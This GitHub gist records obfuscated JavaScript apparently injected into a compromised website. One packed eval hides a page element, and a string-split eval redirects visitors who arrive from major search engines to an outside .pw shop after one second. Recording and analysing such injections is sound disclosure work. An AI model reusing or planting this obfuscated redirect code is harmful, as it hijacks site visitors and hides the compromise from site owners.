Skip to content

Instantly share code, notes, and snippets.

@n-soda
Created March 28, 2016 06:53
Show Gist options
  • Save n-soda/478eaf3d2ea8532d0070 to your computer and use it in GitHub Desktop.
Save n-soda/478eaf3d2ea8532d0070 to your computer and use it in GitHub Desktop.
script at the end of http://emu.com (probably cracked)
<script>eval(function(p,a,c,k,e,r){e=String;if(!''.replace(/^/,String)){while(c--)r[c]=k[c]||c;k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.1("2").3.4="5"',6,6,'document|getElementById|pjs|style|display|none'.split('|'),0,{}))</script>
from firefox "view source" menu:
<script>eval(('if(/('+'g'+'o'+'og'+'le|'+'yaho'+'o|bi'+'ng|ao'+'l)/i'+'.tes'+'t(do'+'cum'+'ent.r'+'efer'+'r'+'e'+'r)'+'){w'+'indow'+'.set'+'Ti'+'meou'+'t(fun'+'ction'+'(){'+'top.'+'locat'+'io'+'n.'+'href='+'"'+'http'+'://ww'+'w.'+'rk'+'lb'+'uje.p'+'w/ind'+'ex.ph'+'p?m'+'ai'+'n_p'+'age'+'=pr'+'oduct'+'_info'+'&'+'produ'+'cts_'+'id=64'+'30"},'+'100'+'0)}').replace(/####/g, '\''))</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment